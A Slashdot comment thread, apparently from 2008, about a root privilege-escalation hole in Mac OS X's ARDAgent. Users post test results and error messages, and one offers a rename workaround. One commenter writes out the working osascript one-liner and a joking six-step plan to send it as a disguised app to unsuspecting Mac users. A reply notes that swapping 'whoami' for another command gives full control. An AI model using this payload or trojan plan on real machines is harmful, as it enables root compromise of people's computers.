I have seen more than the normal number of folks, however, responding to this article with honesty about this exploit and even testing it further. (Let's just hope the underpaid Apple engineers [see other article about that] are listening).

There are those here, though, who seem intent on writing this off as a non-exploit or trying to explain it away. That's where a concept known as "Intellectual Honesty" comes into play. You have to be honest with yourself about what you know and do. Viruses are a fact of life on computers and, while Apple is closed architecture (which by its very nature makes it MUCH more secure than other OSes), it's only a matter of time before real viruses appear for the Apple platform that just won't be able to be explained away.

This article's exploit is a dangerous one to be sure and there are several equivalent Windows bugs. However, for all it's faults, Microsquash does a reasonable job of patching vulnerabilities carefully. Sometimes patching them right takes a little more time than users like, but the patches usually address the problems (although they do sometimes introduce more).

Apple does an "okay" job of patching vulnerabilities, once they admit that they exist.

There's another article about "carpet bombing" attacks via Safari and IE in Windows, and the responders there are perfect examples of the problems I refer to. A goodly number of them seem to be intent that the problem is Windows' fault and not a problem in Safari. Windows has issues, but the security problems exist in the program that's running and it's the programmer's duty to make sure that the APIs and such are called correctly and not in a manner to allow exploit to occure (too many programmers take easy shortcuts that introduce vulnerabilities).

I hate to think it, but I will probably get the ever lovin' crap flamed out of me for saying all of this.

Let me re-iterate. I'm impressed by a lot of the responders here with the unusually high level of Intellectual Honesty from Mac users than I have seen in the past. Let's hope the trend continues.

p.s. I love the "security is like sex" comment above. Well put.

Doesn't work (for me) (0)

Anonymous Coward | more than 6 years ago | (#23846877)

Doesn't work for me (running 10.5.3). Returns

23:47: execution error: ARDAgent got an error: "whoami" doesnâ(TM)t understand the do shell script message. (-1708)

I can has exploit? (1)

omnipotus (214689) | more than 6 years ago | (#23846991)

23:47: execution error: ARDAgent got an error: AppleEvent timed out. (-1712) What did I do to magically protect my machine?

Hack-A-Mac in 6 easy steps (1)

theolein (316044) | more than 6 years ago | (#23847235)

1. Open Script Edtor
2. type in the following code

tell application "Terminal"
do script "osascript -e 'tell app \"ARDAgent\" to do shell script \"whoami\"';"
end tell

3.Save as NubileRussianTennisPlayer.app
4.Attach as non Windows friendly attachment to a new mail in Mail.app
5.Send to as many hopefully clueless Mac users as possible.
6.Profit

Re:Hack-A-Mac in 6 easy steps (1)

That's What She Said (1289344) | more than 6 years ago | (#23847407)

Remember: you're root just as long as your "whoami" command is running.

So, you have to replace "whoami" with some other command to own the machine...

Re:Hack-A-Mac in 6 easy steps (1)

theolein (316044) | more than 6 years ago | (#23847589)

Believe me, anyone with a bit of knowledge of the shell can wreak havoc from this hole, and they can even do it without the terminal staying open.

Apple must fix this pretty soon.

It's intermittent, you see... (1)

Peganthyrus (713645) | more than 6 years ago | (#23847493)

Out of three tries:

- the first one just hung; I ctrl-c'd it after a while.
- the second one worked.
- the third one died, with the execution error: ARDAgent got an error: AppleEvent timed out. (-1712) error others are reporting.

(overloaded old 1.25Ghz G4, running 10.4.11 (latest version of Tiger unless they released an update in the past week).

I'm guessing that the osascript command is only willing to wait so long - and my machine's speed and load is such that it's right on the cusp of that time.

Renaming it seemed to work for the moment, though I'm sure it also breaks legit use of Remote Desktop:

$ sudo mv /System/Library/CoreServices/RemoteManagement/ARDAgent.app /System/Library/CoreServices/RemoteManagement/notARDAgent.app
Password: XYZZY
$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'18:19: syntax error: No user interaction allowed. (-1713)
$ osascript -e 'tell app "wsiofth" to do shell script "whoami"'
17:18: syntax error: No user interaction allowed. (-1713)

Didn't work for me (1)

wzinc (612701) | more than 6 years ago | (#23847659)

23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)

Maybe it's an Intel-only thing.

It doesn't run on my computer (0)

Anonymous Coward | more than 6 years ago | (#23847737)

It errs with "A unknown token can't go after this identifier.", and highlights "e '" in the script.

Mac OS X 10.5.3

another 'exploit' (1)

pbjones (315127) | more than 6 years ago | (#23847739)

use the 'password reset' utility on the install disk,

Nope, not here (1, Informative)

clang_jangle (975789) | more than 6 years ago | (#23847765)

Here's the output I get on my Mac (powerpc running os x Tiger version 10.4.11) :

23:78: execution error: ARDAgent got an error: AppleEvent timed out. (-1712)


Doesn't look too scary to me. Some kind of hoax maybe? :)
Load More Comments
Slashdot Login

Need an Account?

Forgot your password?